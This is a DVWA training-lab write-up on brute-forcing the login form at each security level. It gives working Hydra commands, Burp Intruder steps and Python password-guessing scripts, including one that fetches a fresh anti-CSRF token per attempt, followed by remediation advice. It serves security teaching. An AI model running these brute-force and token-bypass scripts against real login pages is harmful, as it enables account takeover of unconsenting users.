🔍 01 — Brute Force

Brute Force

OWASP: A07 - Identification & Authentication Failures | **CWE**: CWE-307 | **Severity**: 🔴 Critical

---

📖 Description

Brute force attacks involve systematically checking all possible passwords or passphrases until the correct one is found. DVWA's brute force module simulates a login form with no or weak protections against automated login attempts.

DVWA Endpoint: `http://localhost/dvwa/vulnerabilities/brute/`

⚠️ Security Level: LOW

Behavior

No CAPTCHA, no lockout, no rate limiting. Form accepts unlimited login attempts via GET request.

Manual Testing

```
URL: http://localhost/dvwa/vulnerabilities/brute/?username=admin
&password=test&Login=Login

Observation:
- Wrong password: "Username and/or password incorrect."
- Correct password: Welcome message displayed
- No rate limiting detected
- No lockout after N failures
```

PoC — Hydra Brute Force

```
# GET-based login form
hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost htt
p-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&passwor
```

```
d=^PASS^&Login=Login:Username and/or password incorrect" -V

# With session cookie (required for DVWA)
hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost htt
p-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&passwor
d=^PASS^&Login=Login:H=Cookie: PHPSESSID=YOURSESSION; security=l
ow:Username and/or password incorrect" -V

# Output:
# [80][http-get-form] host: localhost   login: admin   password:
password
```

PoC — Burp Suite Intruder

```
1. Set proxy -> 127.0.0.1:8080
2. Login with wrong credentials
3. Intercept GET /dvwa/vulnerabilities/brute/
4. Send to Intruder
5. Clear markers -> highlight password value -> Add
6. Payloads -> Simple list -> load rockyou.txt
7. Options -> Grep-Match: add "Welcome"
8. Start Attack
9. Sort by Length or grep match
10. Longer response = successful login
```

PoC — Python Script

```
import requests

target = "http://localhost/dvwa/vulnerabilities/brute/"
cookies = {"PHPSESSID": "YOUR_SESSION_ID", "security": "low"}
passwords = open("/usr/share/wordlists/rockyou.txt").read().spli
tlines()

for pwd in passwords[:1000]:
    params = {"username": "admin", "password": pwd, "Login": "Lo
gin"}
    r = requests.get(target, params=params, cookies=cookies)
    if "Welcome" in r.text:
        print(f"[+] Password found: {pwd}")
```

```
        break
    else:
        print(f"[-] Trying: {pwd}")
```

Evidence

```
[+] Hydra result:
Host: localhost | Login: admin | Password: password
Response contained: "Welcome to the password protected area admi
n"
```

⚠️ Security Level: MEDIUM

Defense Applied

Server-side `sleep(2)` added on failed login attempts (2-second delay per attempt).

Impact on Attacks

```
- Hydra still works but very slowly
- 1000 attempts * 2 sec = ~33 minutes minimum
- Not a true defense, just a slowdown
```

Bypass PoC

```
# Reduce task count to avoid timeout issues
hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost htt
p-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&passwor
d=^PASS^&Login=Login:H=Cookie: PHPSESSID=XXX; security=medium:in
correct" -t 1 -W 3

# Or use Burp Intruder with throttle
# Intruder > Options > Request Engine > set threads=1, delay=250
0ms
```

⚠️ Security Level: HIGH

Defense Applied

Anti-CSRF token (`user_token`) added to the form. Each request requires a fresh, valid token.

Vulnerable Code Difference

```
// HIGH level checks:
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_t
oken' ], 'index.php' );
    // ...
}
```

Bypass PoC — Token-aware Script

```
import requests
from bs4 import BeautifulSoup

session = requests.Session()
base_url = "http://localhost/dvwa/"
cookies = {"PHPSESSID": "YOUR_SESSION", "security": "high"}

def get_token():
    r = session.get(base_url + "vulnerabilities/brute/", cookies
=cookies)
    soup = BeautifulSoup(r.text, "html.parser")
    return soup.find("input", {"name": "user_token"})["value"]

passwords = ["password", "123456", "admin", "letmein"]

for pwd in passwords:
    token = get_token()  # Fetch fresh token per attempt
    params = {
        "username": "admin",
        "password": pwd,
        "Login": "Login",
        "user_token": token
    }
    r = session.get(base_url + "vulnerabilities/brute/", params=
params, cookies=cookies)
    if "Welcome" in r.text:
```

```
        print(f"[+] Password found: {pwd}")
        break
    print(f"[-] {pwd}: failed")
```

⚠️ Security Level: IMPOSSIBLE

Defense Applied

- Account lockout after 3 failed attempts
- CSRF tokens
- Minimum password length enforcement
- PDO prepared statements
- User notified via email on lockout

Why It Stops Brute Force

```
- Account locks after 3 attempts -> brute force impossible
- Even with correct token, locked account is inaccessible
- Admin must manually unlock accounts
```

📊 Impact Analysis

Impact	Description
Account Takeover	Full access to user account
Privilege Escalation	Admin account compromise
Data Breach	Access to all user data
Credential Stuffing	Use found creds on other sites

✅ Remediation

1. **Account Lockout**: Lock after 3-5 failed attempts with progressive delays
2. **CAPTCHA**: Implement after 3 failures
3. **CSRF Tokens**: Prevent automated submission
4. **MFA**: Second factor prevents brute force entirely
5. **Rate Limiting**: Limit login attempts per IP per minute
6. **Monitoring & Alerting**: Alert on >5 failures from same IP

7. **Strong Password Policy**: Enforce minimum 12 character passwords

```
// Implement lockout
if ($failed_attempts >= 3) {
    $lock_time = time() + pow(2, $failed_attempts); // Exponenti
al backoff
    // Store lock_time in DB, reject logins until then
}
```

📚 References

- CWE-307: https://cwe.mitre.org/data/definitions/307.html
- OWASP Auth Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html